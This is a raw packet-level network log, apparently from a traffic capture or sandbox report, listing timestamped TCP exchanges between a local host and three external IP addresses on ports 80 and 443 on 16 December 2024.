Dec 16, 2024 13:16:32.335484982 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.335525990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.336267948 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.336314917 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.336357117 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.336395979 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.337225914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.337276936 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.337313890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.337353945 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.338172913 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.338224888 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.338260889 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.338300943 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.339167118 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.339226007 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.339319944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.339369059 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.340114117 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.340172052 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.340228081 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.340269089 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.341085911 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.341140985 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.341233015 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.341279030 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.342022896 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.342044115 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.342071056 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.342087030 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.343027115 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.343076944 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.343152046 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.343187094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.343986988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.344036102 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.344136953 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.344173908 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.344935894 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.345002890 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.345092058 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.345129967 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.345875025 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.345917940 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.345988035 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.346033096 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.346877098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.346925974 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.346995115 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.347037077 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.347873926 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.347923994 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.348035097 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.348076105 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.348850012 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.348896980 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.348979950 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.349020004 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.349771023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.349816084 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.349867105 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.349905014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.350815058 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.350860119 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.351037979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.351079941 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.351706028 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.351749897 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.351813078 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.351855993 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.352655888 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.352703094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.352756023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.352797031 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.353632927 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.353678942 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.353745937 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.353785038 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.354623079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.354665995 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.354721069 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.354758024 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.355554104 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.355602980 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.355678082 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.355715036 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.356527090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.356573105 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.356622934 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.356662035 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.357541084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.357584953 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.357670069 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.357712984 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.358522892 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.358566999 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.358603001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.358640909 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.359411001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.359455109 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.359535933 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.359575033 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.360363960 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.360460043 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.360490084 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.360537052 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.361319065 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.361361980 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.361428022 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.361468077 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.362286091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.362330914 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.362399101 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.362437963 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.363256931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.363301039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.363343954 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.363385916 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.364221096 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.364269018 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.364312887 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.364350080 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.365194082 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.365238905 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.365366936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.365405083 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.366151094 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.366199017 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.366254091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.366291046 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.367124081 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.367170095 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.367233038 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.367270947 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.368102074 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.368148088 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.368211031 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.368252039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.369062901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.369112015 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.510670900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.510756969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.510829926 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.510895014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.511112928 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.511182070 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.511253119 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.511322021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.512120008 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.512173891 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.512202978 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.512249947 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.513092041 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.513149023 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.513236046 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.513279915 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.514107943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.514158010 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.514175892 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.514221907 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.515067101 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.515119076 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.515126944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.515172958 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.515938044 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.515985966 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.516098976 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.516141891 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.517085075 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.517132044 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.517174959 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.517220974 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.517904043 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.517950058 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.518006086 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.518047094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.518874884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.518922091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.518985987 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.519030094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.519819021 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.519871950 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.519893885 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.519931078 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.520772934 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.520823002 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.520874023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.520915985 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.521716118 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.521764040 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.521882057 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.521927118 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.522726059 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.522773027 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.522799969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.522844076 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.523787975 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.523834944 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.523860931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.523909092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.524883032 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.524930954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.525110960 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.525150061 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.526031017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.526082039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.526160002 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.526201963 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.526933908 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.527023077 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.527054071 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.527101040 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.528009892 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.528049946 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.528130054 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.528172970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.528780937 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.528831005 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.528912067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.528956890 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.529881001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.529930115 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.529994011 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.530039072 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.530401945 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.530450106 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.530482054 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.530524969 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.531390905 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.531440020 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.531555891 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.531611919 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.532603025 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.532665968 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.532752991 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.532797098 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.533370018 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.533389091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.533421040 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.533437014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.534262896 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.534315109 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.534713984 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.534761906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.535248041 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.535296917 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:32.535379887 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:32.535424948 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:34.692964077 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:34.693018913 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:34.693090916 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:34.712860107 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:34.712892056 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:34.779261112 CET	49740	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:34.779649019 CET	49764	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:34.899507999 CET	80	49764	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:34.899669886 CET	49764	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:34.899717093 CET	80	49740	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:34.899782896 CET	49740	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:34.914377928 CET	49764	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:35.034183025 CET	80	49764	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:35.930310011 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:35.930512905 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:35.932687998 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:35.932708025 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:35.932976961 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:35.970915079 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:35.970944881 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:35.971081972 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:36.252579927 CET	80	49764	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:36.252790928 CET	49764	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:36.254673004 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:36.255008936 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:36.374892950 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:36.374919891 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:36.375123978 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:36.375137091 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:36.375379086 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:36.495115042 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:36.708580017 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:36.708686113 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:36.708973885 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:36.709088087 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:36.709110975 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:36.709120989 CET	49763	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:36.709125996 CET	443	49763	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:36.715341091 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:36.715421915 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:36.715683937 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:36.715888977 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:36.715910912 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:37.722862959 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.722886086 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.722898960 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.722909927 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.722960949 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.722961903 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.722980976 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.722992897 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.723006964 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.723007917 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.723040104 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.723061085 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.723242044 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.723253012 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.723280907 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.723300934 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.842981100 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.843075037 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.843147039 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.843195915 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.914922953 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.914988995 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.915060997 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.915110111 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.919115067 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.919172049 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.919194937 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.919231892 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.927468061 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.927529097 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.929373980 CET	443	49771	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:37.929474115 CET	49771	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:37.930562973 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.930634975 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.930716038 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.930778980 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.939011097 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.939048052 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.939069033 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.939105034 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.947496891 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.947582006 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.947623968 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.947654963 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.955982924 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.956039906 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.956047058 CET	80	49770	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:37.956094027 CET	49770	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:37.957465887 CET	49771	443	192.168.2.8	172.67.164.37
